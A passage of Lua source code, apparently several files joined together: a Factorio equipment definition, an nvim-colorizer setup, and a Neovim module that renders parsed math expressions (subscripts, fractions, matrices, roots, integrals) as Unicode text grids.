t.movement_bonus = 0
t.automatic = false
t.ability_icon = {
filename = '__base__/graphics/equipment/discharge-defense-equipment-ability.png',
height = 32,
priority = 'medium',
width = 32
}
equipment[#equipment + 1] = t
end
end
data:extend(equipment)
|
require'colorizer'.setup({
'*';
css = { css = true; css_fn = true; };
scss = { css = true; css_fn = true; };
javascript = { css = true; css_fn = true; };
javascriptreact = { css = true; css_fn = true; };
})
|
local join_sub_sup
local ascii = {}
local function utf8len(str)
return vim.str_utfindex(str)
end
local grid = require("nabla.ascii.grid")
local unicode = require("nabla.ascii.unicode")
local style = unicode.style
local frac_set = unicode.frac_set
local sub_letters = unicode.sub_letters
local sup_letters = unicode.sup_letters
local greek_etc = unicode.greek_etc
local special_nums = unicode.special_nums
local special_syms = unicode.special_syms
function ascii.to_ascii(exp)
local g = grid:new()
if not exp then
print(debug.traceback())
end
if exp.kind == "numexp" then
local numstr = tostring(exp.num)
g = grid:new(string.len(numstr), 1, { tostring(numstr) }, "num")
if exp.sub and exp.sup then
local subscript = ""
-- sub and sup are exchanged to
-- make the most compact expression
local subexps = exp.sup.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
local superscript = ""
local supexps = exp.sub.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if subscript and superscript then
local sup_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
local sub_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_sub_sup(sub_g, sup_g)
else
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_sub_sup(subgrid, supgrid)
end
end
if exp.sub and not exp.sup then
local subscript = ""
local subexps = exp.sub.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
if subscript and string.len(subscript) > 0 then
local sub_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
g = g:join_hori(sub_g)
else
local subgrid
local frac_exps = exp.sub.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
subgrid = ascii.to_ascii(exp.sub)
else
subgrid = frac_exp
end
g = g:combine_sub(subgrid)
end
end
if exp.sup and not exp.sub then
local superscript = ""
local supexps = exp.sup.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if superscript and string.len(superscript) > 0 then
local sup_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_hori(sup_g, true)
else
local supgrid = ascii.to_ascii(exp.sup)
local frac_exps = exp.sup.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
supgrid = ascii.to_ascii(exp.sup)
else
supgrid = frac_exp
end
g = g:join_super(supgrid)
end
end
return g
elseif exp.kind == "addexp" then
local leftgrid = ascii.to_ascii(exp.left):put_paren(exp.left, exp)
local rightgrid = ascii.to_ascii(exp.right):put_paren(exp.right, exp)
local opgrid = grid:new(utf8len(style.plus_sign), 1, { style.plus_sign }, "op")
local c1 = leftgrid:join_hori(opgrid)
local c2 = c1:join_hori(rightgrid)
return c2
elseif exp.kind == "subexp" then
local leftgrid = ascii.to_ascii(exp.left):put_paren(exp.left, exp)
local rightgrid = ascii.to_ascii(exp.right):put_paren(exp.right, exp)
local opgrid = grid:new(utf8len(style.minus_sign), 1, { style.minus_sign })
local c1 = leftgrid:join_hori(opgrid)
local c2 = c1:join_hori(rightgrid)
return c2
elseif exp.kind == "mulexp" then
local leftgrid = ascii.to_ascii(exp.left):put_paren(exp.left, exp)
local rightgrid = ascii.to_ascii(exp.right):put_paren(exp.right, exp)
local c2
if exp.left.kind == "numexp" and exp.right.kind == "numexp" then
local opgrid = grid:new(utf8len(style.multiply_sign), 1, { style.multiply_sign })
local c1 = leftgrid:join_hori(opgrid)
c2 = c1:join_hori(rightgrid)
else
c2 = leftgrid:join_hori(rightgrid)
end
return c2
elseif exp.kind == "divexp" then
local leftgrid = ascii.to_ascii(exp.left)
local rightgrid = ascii.to_ascii(exp.right)
local bar = ""
local w = math.max(leftgrid.w, rightgrid.w)
for x = 1, w do
bar = bar .. style.div_bar
end
local opgrid = grid:new(w, 1, { bar })
local c1 = leftgrid:join_vert(opgrid)
local c2 = c1:join_vert(rightgrid)
c2.my = leftgrid.h
return c2
elseif exp.kind == "symexp" then
local sym = exp.sym
-- if special_syms[sym] then
-- sym = special_syms[sym]
-- end
local g = grid:new(utf8len(sym), 1, { sym }, "sym")
if exp.sub and exp.sup then
local subscript = ""
-- sub and sup are exchanged to
-- make the most compact expression
local subexps = exp.sup.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
local superscript = ""
local supexps = exp.sub.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if subscript and superscript then
local sup_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
local sub_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_sub_sup(sub_g, sup_g)
else
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_sub_sup(subgrid, supgrid)
end
end
if exp.sub and not exp.sup then
local subscript = ""
local subexps = exp.sub.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
if subscript and string.len(subscript) > 0 then
local sub_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
g = g:join_hori(sub_g)
else
local subgrid
local frac_exps = exp.sub.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
subgrid = ascii.to_ascii(exp.sub)
else
subgrid = frac_exp
end
g = g:combine_sub(subgrid)
end
end
if exp.sup and not exp.sub then
local superscript = ""
local supexps = exp.sup.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if superscript and string.len(superscript) > 0 then
local sup_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_hori(sup_g, true)
else
local supgrid = ascii.to_ascii(exp.sup)
local frac_exps = exp.sup.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
supgrid = ascii.to_ascii(exp.sup)
else
supgrid = frac_exp
end
g = g:join_super(supgrid)
end
end
return g
-- elseif exp.kind == "funexp" then
-- local name = exp.name.kind == "symexp" and exp.name.sym
-- @transform_special_functions
-- else
-- local c0 = ascii.to_ascii(exp.name)
--
-- local comma = grid:new(utf8len(style.comma_sign), 1, { style.comma_sign })
--
-- local args
-- for _, arg in ipairs(exp.args) do
-- local garg = ascii.to_ascii(arg)
-- if not args then args = garg
-- else
-- args = args:join_hori(comma)
-- args = args:join_hori(garg)
-- end
-- end
--
-- if args then
-- args = args:enclose_paren()
-- else
-- args = grid:new(2, 1, { style.left_single_par .. style.right_single_par })
-- end
-- return c0:join_hori(args)
-- end
elseif exp.kind == "eqexp" then
if style.eq_sign[exp.sign] then
local leftgrid = ascii.to_ascii(exp.left)
local rightgrid = ascii.to_ascii(exp.right)
local opgrid = grid:new(utf8len(style.eq_sign[exp.sign]), 1, { style.eq_sign[exp.sign] })
local c1 = leftgrid:join_hori(opgrid)
local c2 = c1:join_hori(rightgrid)
return c2
else
return nil
end
elseif exp.kind == "presubexp" then
local minus = grid:new(utf8len(style.prefix_minus_sign), 1, { style.prefix_minus_sign })
local leftgrid = ascii.to_ascii(exp.left):put_paren(exp.left, exp)
return minus:join_hori(leftgrid)
elseif exp.kind == "matexp" then
if #exp.rows > 0 then
local cellsgrid = {}
local maxheight = 0
for _, row in ipairs(exp.rows) do
local rowgrid = {}
for _, cell in ipairs(row) do
local cellgrid = ascii.to_ascii(cell)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
end
table.insert(cellsgrid, rowgrid)
end
local res
for i = 1, #cellsgrid[1] do
local col
for j = 1, #cellsgrid do
local cell = cellsgrid[j][i]
local sup = maxheight - cell.h
local sdown = 0
local up, down
if sup > 0 then
up = grid:new(cell.w, sup)
end
if sdown > 0 then
down = grid:new(cell.w, sdown)
end
if up then
cell = up:join_vert(cell)
end
if down then
cell = cell:join_vert(down)
end
local colspacer = grid:new(1, cell.h)
colspacer.my = cell.my
if i < #cellsgrid[1] then
cell = cell:join_hori(colspacer)
end
if not col then
col = cell
else
col = col:join_vert(cell, true)
end
end
if not res then
res = col
else
res = res:join_hori(col, true)
end
end
local left_content, right_content = {}, {}
if res.h > 1 then
for y = 1, res.h do
if y == 1 then
table.insert(left_content, style.matrix_upper_left)
table.insert(right_content, style.matrix_upper_right)
elseif y == res.h then
table.insert(left_content, style.matrix_lower_left)
table.insert(right_content, style.matrix_lower_right)
else
table.insert(left_content, style.matrix_vert_left)
table.insert(right_content, style.matrix_vert_right)
end
end
else
left_content = { style.matrix_single_left }
right_content = { style.matrix_single_right }
end
local leftbracket = grid:new(1, res.h, left_content)
local rightbracket = grid:new(1, res.h, right_content)
res = leftbracket:join_hori(res, true)
res = res:join_hori(rightbracket, true)
res.my = math.floor(res.h / 2)
return res
else
return nil, "empty matrix"
end
elseif exp.kind == "derexp" then
local leftgrid = ascii.to_ascii(exp.left):put_paren(exp.left, exp)
local super_content = ""
for i = 1, exp.order do
super_content = super_content .. "'"
end
local superscript = grid:new(exp.order, 1, { super_content })
local result = leftgrid:join_hori(superscript, true)
result.my = leftgrid.my
return result
elseif exp.kind == "explist" then
local res
for _, exp_el in ipairs(exp.exps) do
local exp_grid = ascii.to_ascii(exp_el)
-- @put_horizontal_spacer
if not res then
res = exp_grid
else
res = res:join_hori(exp_grid)
end
end
return res
elseif exp.kind == "funexp" then
local name = exp.sym
if name == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local leftgrid = ascii.to_ascii(exp.args[1])
local rightgrid = ascii.to_ascii(exp.args[2])
local bar = ""
local w = math.max(leftgrid.w, rightgrid.w)
for x = 1, w do
bar = bar .. style.div_bar
end
local opgrid = grid:new(w, 1, { bar })
local c1 = leftgrid:join_vert(opgrid)
local c2 = c1:join_vert(rightgrid)
c2.my = leftgrid.h
return c2
elseif special_syms[name] or special_nums[name] or greek_etc[name] then
local sym = special_syms[name] or special_nums[name] or greek_etc[name]
local t
if special_syms[name] then
t = "sym"
elseif special_nums[name] then
t = "num"
elseif greek_etc[name] then
t = "var"
end
local g = grid:new(utf8len(sym), 1, { sym }, t)
if exp.sub and exp.sup then
local subscript = ""
-- sub and sup are exchanged to
-- make the most compact expression
local subexps = exp.sup.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
local superscript = ""
local supexps = exp.sub.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if subscript and superscript then
local sup_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
local sub_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_sub_sup(sub_g, sup_g)
else
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_sub_sup(subgrid, supgrid)
end
end
if exp.sub and not exp.sup then
local subscript = ""
local subexps = exp.sub.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
if subscript and string.len(subscript) > 0 then
local sub_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
g = g:join_hori(sub_g)
else
local subgrid
local frac_exps = exp.sub.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
subgrid = ascii.to_ascii(exp.sub)
else
subgrid = frac_exp
end
g = g:combine_sub(subgrid)
end
end
if exp.sup and not exp.sub then
local superscript = ""
local supexps = exp.sup.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if superscript and string.len(superscript) > 0 then
local sup_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_hori(sup_g, true)
else
local supgrid = ascii.to_ascii(exp.sup)
local frac_exps = exp.sup.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
supgrid = ascii.to_ascii(exp.sup)
else
supgrid = frac_exp
end
g = g:join_super(supgrid)
end
end
return g
elseif name == "sqrt" then
assert(#exp.args == 1, "sqrt must have 2 arguments")
local toroot = ascii.to_ascii(exp.args[1])
local left_content = {}
for y = 1, toroot.h do
if y < toroot.h then
table.insert(left_content, " " .. style.root_vert_bar)
else
table.insert(left_content, style.root_bottom .. style.root_vert_bar)
end
end
local left_root = grid:new(2, toroot.h, left_content, "sym")
left_root.my = toroot.my
local up_str = " " .. style.root_upper_left
for x = 1, toroot.w do
up_str = up_str .. style.root_upper
end
up_str = up_str .. style.root_upper_right
local top_root = grid:new(toroot.w + 2, 1, { up_str }, "sym")
local res = left_root:join_hori(toroot)
res = top_root:join_vert(res)
res.my = top_root.h + toroot.my
return res
elseif name == "int" then
local g = grid:new(1, 1, { "∫" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "iint" then
local g = grid:new(1, 1, { "∬" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "iiint" then
local g = grid:new(1, 1, { "∭" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "oint" then
